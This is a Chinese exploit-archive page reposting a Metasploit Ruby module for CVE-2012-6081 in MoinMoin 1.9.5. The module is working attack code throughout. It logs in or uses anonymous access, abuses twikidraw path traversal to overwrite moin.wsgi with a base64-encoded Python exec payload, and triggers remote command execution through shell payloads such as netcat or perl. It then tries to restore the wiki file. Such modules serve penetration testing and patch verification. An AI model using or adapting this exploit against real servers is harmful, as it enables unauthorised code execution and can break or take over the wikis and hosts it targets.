首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MoinMoin twikidraw Action Traversal File Upload
来源:metasploit.com 作者:HTP 发布时间:2013-06-19  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MoinMoin twikidraw Action Traversal File Upload',
			'Description'    => %q{
					This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
				exists on the manage of the twikidraw actions, where a traversal path can be used
				in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
				configurations by overwriting moin.wsgi, which allows to execute arbitrary python
				code, as exploited in the wild on July, 2012. The user is warned to use this module
				at his own risk since it's going to overwrite the moin.wsgi file, required for the
				correct working of the MoinMoin wiki. While the exploit will try to restore the
				attacked application at post exploitation, correct working after all isn't granted.
			},
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'HTP', # PoC
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-6081' ],
					[ 'OSVDB', '88825' ],
					[ 'BID', '57082' ],
					[ 'EDB', '25304' ],
					[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
					[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
				],
			'Privileged'     => false, # web server context
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 16384, # Enough one to fit any payload
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic telnet netcat perl'
						}
				},
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'MoinMoin 1.9.5', { }]],
			'DisclosureDate' => 'Dec 30 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
				OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
				OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
				OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
			], self.class)
	end

	def moinmoin_template(path)
		template =[]
		template << "# -*- coding: iso-8859-1 -*-"
		template << "import sys, os"
		template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
		template << "from MoinMoin.web.serving import make_application"
		template << "application = make_application(shared=True)"
		return template
	end

	def restore_file(session, file, contents)
		first = true
		contents.each {|line|
			if first
				session.shell_command_token("echo \"#{line}\" > #{file}")
				first = false
			else
				session.shell_command_token("echo \"#{line}\" >> #{file}")
			end
		}
	end

	# Try to restore a basic moin.wsgi file with the hope of making the
	# application usable again.
	# Try to search on /usr/local/share/moin (default search path) and the
	# current path (apache user home). Avoiding to search on "/" because it
	# could took long time to finish.
	def on_new_session(session)
		print_status("Trying to restore moin.wsgi...")
		begin
			files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
			files.split.each { |file|
				print_status("#{file} found! Trying to restore...")
				restore_file(session, file, moinmoin_template(file))
			}

			files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
			files.split.each { |file|
				print_status("#{file} found! Trying to restore...")
				restore_file(session, file, moinmoin_template(file))
			}
			print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
		rescue
			print_warning("Error while restring moin.wsgi, manual restoring would be required.")
		end
	end

	def do_login(username, password)
		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => normalize_uri(@base, @page),
			'vars_post' =>
				{
					'action' => 'login',
					'name' => username,
					'password' => password,
					'login' => 'Login'
				}
			})

		if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
			return nil
		end

		return res.get_cookies

	end

	def upload_code(session, code)

		vprint_status("Retrieving the ticket...")

		res = send_request_cgi({
			'uri'      => normalize_uri(@base, @page),
			'cookie'   => session,
			'vars_get' => {
				'action' => 'twikidraw',
				'do'     => 'modify',
				'target' => '../../../../moin.wsgi'
			}
		})

		if not res or res.code != 200 or res.body !~ /ticket=(.*?)&amp;target/
			vprint_error("Error retrieving the ticket")
			return nil
		end

		ticket = $1
		vprint_good("Ticket found: #{ticket}")

		my_payload = "[MARK]#{code}[MARK]"
		post_data = Rex::MIME::Message.new
		post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
		post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
		my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => normalize_uri(@base, @page),
			'cookie'   => session,
			'vars_get' =>
			{
				'action' => 'twikidraw',
				'do'     => 'save',
				'ticket' => ticket,
				'target' => '../../../../moin.wsgi'
			},
			'data'     => my_data,
			'ctype'    => "multipart/form-data; boundary=#{post_data.bound}"
		})

		if not res or res.code != 200 or not res.body.empty?
			vprint_error("Error uploading the payload")
			return nil
		end

		return true
	end

	def check
		@base = target_uri.path
		@base << '/' if @base[-1, 1] != '/'

		res = send_request_cgi({
			'uri' => normalize_uri(@base)
		})

		if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
			return Exploit::CheckCode::Detected
		elsif res
			return Exploit::CheckCode::Unknown
		end

		return Exploit::CheckCode::Safe
	end

	def writable_page?(session)

		res = send_request_cgi({
			'uri' => normalize_uri(@base, @page),
			'cookie' => session,
		})

		if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
			return false
		end

		return true
	end


	def exploit

		# Init variables
		@page = datastore['WritablePage']

		@base = target_uri.path
		@base << '/' if @base[-1, 1] != '/'

		# Login if needed
		if (datastore['USERNAME'] and
			not datastore['USERNAME'].empty? and
			datastore['PASSWORD'] and
			not datastore['PASSWORD'].empty?)
			print_status("Trying login to get session ID...")
			session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
		else
			print_status("Using anonymous access...")
			session = ""
		end

		# Check authentication
		if not session
			fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
		end

		# Check writable permissions
		if not writable_page?(session)
			fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
		end

		# Upload payload
		print_status("Trying to upload payload...")
		python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
		res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
		if not res
			fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
		end

		# Execute payload
		print_status("Executing the payload...")
		res = send_request_cgi({
			'uri'      => normalize_uri(@base, @page),
			'cookie' => session,
			'vars_get' => {
				'action' => 'AttachFile'
			}
		}, 5)

	end

end



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Solaris 10 Patch Cluster File
·FreeBSD mmap Privilege Escalat
·Winamp 5.12 (.m3u) - Stack Bas
·Havalite CMS Arbitary File Upl
·Adrenalin Player 2.2.5.3 (.wax
·TP-Link Print Server TL PS110U
·Easy LAN Folder Share Version
·MusicBee 2.0.4663 (.M3U) - Den
·MS13-009 Microsoft Internet Ex
·FreeBSD 9.0 / 9.1 mmap/ptrace
·AXIS Media Control 6.2.10.11 -
·ASC Timetables 2013 - Stack Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved